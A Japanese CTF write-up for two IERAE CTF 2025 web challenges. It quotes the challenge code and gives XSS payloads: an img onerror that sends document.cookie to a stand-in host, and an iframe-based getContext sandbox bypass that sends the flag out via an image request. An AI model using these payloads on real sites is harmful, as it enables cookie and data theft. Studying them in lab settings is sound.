IERAE CTF 2025 writeup

Writer:b1uef0x / Webページ建造途中

概要

チームで参加してWeb専業で2問解いた。Warmdownを片付けてからSlide Sandboxとcanvasboxをやっていたが、easy詐欺を見た。

目次

Warmdown (web warmup)

Warmdown = Warmup + Markdown

WebのWarmup問題。port 3000にチャレンジページ、port 1337にAdmin botに巡回させる機能がある。

warmdown challenge page

チャレンジページではMarkdownを書くことができ、searchクエリになるのでURLとして渡すことができる。以下はチャレンジページのコード。

index.jsimport fastify from "fastify";
import * as marked from "marked";
import path from "node:path";

const app = fastify();

app.register(await import("@fastify/static"), {
  root: path.join(import.meta.dirname, "public"),
  prefix: "/",
});

const sanitize = (unsafe) => unsafe.replaceAll("<", "<").replaceAll(">", ">");

const escapeHtml = (str) =>
  str
    .replaceAll("&", "&amp;")
    .replaceAll("<", "&lt;")
    .replaceAll(">", "&gt;")
    .replaceAll('"', "&quot;")
    .replaceAll("'", "&#039;");

const unescapeHtml = (str) =>
  str
    .replaceAll("&amp;", "&")
    .replaceAll("&lt;", "<")
    .replaceAll("&gt;", ">")
    .replaceAll("&quot;", '"')
    .replaceAll("&#039;", "'");

app.get("/render", async (req, reply) => {
  const markdown = sanitize(String(req.query.markdown));
  if (markdown.length > 1024) {
    return reply.status(400).send("Too long");
  }

  const escaped = escapeHtml(marked.parse(markdown));
  const unescaped = unescapeHtml(escaped);

  return { escaped, unescaped };
});

app.listen({ port: 3000, host: "0.0.0.0" });
warmdown Admin bot page

Admin botのページではURLを渡すとbotに巡回させることができる。以下はAdmin botのコード。

index.jsimport express from "express";
import rateLimit from "express-rate-limit";

import { visit, APP_URL } from "./bot.js";

const PORT = "1337";

const app = express();
app.use(express.json());

app.use(express.static("public"));

app.get("/app-url", async (req, res) => {
  return res.send(APP_URL);
});

app.use(
  "/api",
  rateLimit({
    // Limit each IP to 4 requests per 1 minute
    windowMs: 60 * 1000,
    max: 4,
  })
);

app.post("/api/report", async (req, res) => {
  const { url } = req.body;
  if (
    typeof url !== "string" ||
    (!url.startsWith("http://") && !url.startsWith("https://"))
  ) {
    return res.status(400).send("Invalid url");
  }

  try {
    await visit(url);
    return res.sendStatus(200);
  } catch (e) {
    console.error(e);
    return res.status(500).send("Something wrong");
  }
});

app.listen(PORT);
bot.jsimport puppeteer from "puppeteer";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

const APP_HOST = "web";
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;

// Flag format
if (!/^IERAE{\w+}$/.test(FLAG)) {
  console.log("Bad flag");
  process.exit(1);
}

const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));

export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    await context.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });

    const page = await context.newPage();
    await page.goto(url, { timeout: 5_000 });
    await sleep(5_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

まずはXSSから。チャレンジページで以下のコードを使うとalertが出るのでXSS可能。

&lt;img src="#" onerror="alert(1);"&gt;
warmdown XSS

bot.jsを見るとflagはcookieに入っている。よって次のコードを埋め込んでAdmin botに巡回させるとflagを取得できる。(example.exampleの部分は任意の受信先を指定)

&lt;img src="#" onerror="fetch('ht'+'tps://example.example?'+document.cookie)"&gt;

IERAE{I_know_XSS_is_the_m0st_popular_vu1nerabili7y}

canvasbox (web hard)

The flag is hidden in the canvas. You cannot access it, even with XSS...

warmdownと同じくチャレンジページとAdmin botで構成される。

canvasbox challenge page

チャレンジページではsearchクエリに与えた文字列でXSSを試せるページになっている。コードは以下の通り。

index.jsimport express from "express";
import fs from "node:fs";

const html = fs.readFileSync("index.html", { encoding: "utf8" });

express()
  .use("/", (req, res, next) => {
    res.setHeader("Cross-Origin-Opener-Policy", "same-origin");
    res.setHeader(
      "Content-Security-Policy",
      "base-uri 'none'; frame-ancestors 'none'"
    );
    next();
  })
  .get("/", (req, res) => res.type("html").send(html))
  .listen(3000);

index.jsではCOOPが同一オリジンのみ、ページのframe等への埋め込みが禁止されている。

クライアント側に降ってくるHTMLは以下の通り。

index.html<!DOCTYPE html>
<body>
  <h1>XSS Playground</h1>
  <script>
    (() => {
      const flag = localStorage.getItem("flag") ?? "this_is_a_flag";
      localStorage.removeItem("flag");

      const canvas = document.createElement("canvas");
      canvas.id = "flag";
      canvas.getContext("2d").font = `1px "${flag}"`; // :)
      document.body.appendChild(canvas);

      delete window.open;

      const removeKey = (obj, key) => {
        delete obj[key];
        if (key in obj) {
          Object.defineProperty(obj, key, {});
        }
      };

      for (const descriptor of Object.values(
        Object.getOwnPropertyDescriptors(window)
      )) {
        const value = descriptor.value;
        const prototype = value?.prototype;

        if (prototype instanceof Node || value === DOMParser) {
          // Delete all the properties
          for (const key of Object.getOwnPropertyNames(value)) {
            removeKey(value, key);
          }
          for (const key of Object.getOwnPropertyNames(prototype)) {
            removeKey(prototype, key);
          }
        }
      }
    })();

    const params = new URLSearchParams(location.search);
    const xss = params.get("xss") ?? "console.log(1337)";

    eval(xss); // Get the flag!
  </script>
</body>

後述するAdmin botはlocalStorageにflagを入れており、これを取り出してcanvasのfontに書き込み、localStorageを削除、さらにwindow.openとDOM関連のプロパティを大量に削除している。

canvasbox challenge page XSS test

例えば上図のようにalertを出すことは簡単だが、fontを取るためにflag.getContext("2d")を呼ぼうとするとgetContextが削除されて使用できない。

canvasbox Admin bot page

Admin botページではWarmupと同じく任意のURLをbotに巡回させることができる。Admin botのコードは以下の通り。

index.jsimport express from "express";
import rateLimit from "express-rate-limit";

import { visit, APP_URL } from "./bot.js";

const PORT = "1337";

const app = express();
app.use(express.json());

app.use(express.static("public"));

app.get("/app-url", async (req, res) => {
  return res.send(APP_URL);
});

app.use(
  "/api",
  rateLimit({
    // Limit each IP to 4 requests per 1 minute
    windowMs: 60 * 1000,
    max: 4,
  })
);

app.post("/api/report", async (req, res) => {
  const { url } = req.body;
  if (
    typeof url !== "string" ||
    (!url.startsWith("http://") && !url.startsWith("https://"))
  ) {
    return res.status(400).send("Invalid url");
  }

  try {
    await visit(url);
    return res.sendStatus(200);
  } catch (e) {
    console.error(e);
    return res.status(500).send("Something wrong");
  }
});

app.listen(PORT);
bot.jsimport puppeteer from "puppeteer";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

const APP_HOST = "web";
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;

// Flag format
if (!/^IERAE{\w+}$/.test(FLAG)) {
  console.log("Bad flag");
  process.exit(1);
}

const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));

export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    const page1 = await context.newPage();
    await page1.goto(APP_URL, { timeout: 3_000 });
    await page1.evaluate((flag) => {
      localStorage.setItem("flag", flag);
    }, FLAG);
    await sleep(1_000);
    await page1.close();

    const page2 = await context.newPage();
    await page2.goto(url, { timeout: 5_000 });
    await sleep(5_000);
    await page2.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

Admin botはまずhttp://web:3000を開いてlocalStorageにflagを書き込んでから巡回先のページを開くようになっている。チャレンジページを開いて書き込まれたlocalStorageを読み取る前提の作りとなる。

よって、やるべきことは、DOM関連のプロパティが削除された環境からスタートして、canvas内のfontに入っているflagを取得することとなる。

方針としてはcanvas.getContext("2d")を呼びたいので、まずOffscreenCanvasのgetContextを試す。ChatGPTを使ってOffscreenCanvasのgetContextをcanvasに移植するコードを考えてもらう。flagが入っているcanvasはwindow.flagで取得できる。

(() => {
  const cvs= window.flag;
  const canvasProto = Object.getPrototypeOf(cvs);
  const realGetContext = OffscreenCanvas.prototype.getContext;
  Object.defineProperty(canvasProto, 'getContext', {
    configurable: true,
    writable:     true,
    value(type, ...rest) {
      return realGetContext.apply(new OffscreenCanvas(0, 0), [type, ...rest]);
    }
  });
  const ctx  = cvs.getContext('2d');
  const flag = ctx.font;
  alert(flag);
})();

これをURLエンコードとしてxss=につけてページを開く。1px this_is_a_flagが返ってきてほしいが、結果は10px sans-serifになった。

canvasbox challenge page - OffscreenCanvas test

どうやらOffscreenCanvasのgetContextでは元のgetContextとは違うものを取ってしまうようだ。オリジナルのgetContextがほしい。

チャレンジページはiframe等に埋め込まれることは禁止されているが、iframeを埋め込むことは禁止されていない。iframeを埋め込んでiframe内から元のgetContextを手に入れたい。

試行錯誤すると、DOM関連の機能を消されていてもRange.createContextualFragmentを使うとiframeを書き出すことができた。

a = new Range().createContextualFragment("<iframe id='ctx2' sandbox='allow-same-origin allow-scripts allow-modals' srcdoc='<!doctype html><canvas id=\"flag2\"></canvas><script>alert(flag2.getContext(\"2d\"))</script>'></iframe>");
flag.parentElement.appendChild(a)
canvasbox challenge page - iframe test

子フレーム内のcanvasからgetContextを手に入れることができた。さらにparent.flagで親フレームのcanvasも参照できる。

a = new Range().createContextualFragment("<iframe id='ctx2' sandbox='allow-same-origin allow-scripts allow-modals' srcdoc='<!doctype html><script>alert(parent.flag)</script>'></iframe>");
flag.parentElement.appendChild(a)
canvasbox challenge page - iframe test2

材料は揃ったので、子フレーム内で元のgetContextを入手して、親フレームのparent.flagに移植し、fontの中身を取り出して送信するコードをChatGPTと一緒に作った。必要だったかどうかはわからないがfetchより耐性の強いimage.srcを使うコードになる。(example.exampleの部分は任意の受信先を指定)

a = new Range().createContextualFragment(`
<iframe id="ctx2"
        sandbox="allow-same-origin allow-scripts allow-modals"
        srcdoc='<!doctype html>
  <canvas id="flag2"></canvas>

  <script>
  (() => {
    const donorCanvas = document.getElementById("flag2");
    const donorGetCtx = donorCanvas.__proto__.getContext;
    Object.defineProperty(parent.HTMLCanvasElement.prototype, "getContext", {
      value: donorGetCtx,
      writable: true,
      configurable: true,
      enumerable: false
    });
    if (parent.flag)
      parent.flag.getContext = donorGetCtx.bind(parent.flag);
    
    const ctx3 = parent.flag.getContext("2d");
    const fontStr = ctx3.font;
    const url = "http://example.example?"+fontStr;
    new Image().src = url;
    })();
  </script>'>
</iframe>`);
flag.parentElement.appendChild(a);

これをURLエンコードしてxss=につけて実行すると自分のページに1px this_is_a_flagが返ってきた。ドメインをweb:3000にして、Admin botに巡回させるとflagを入手。

IERAE{DOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOM}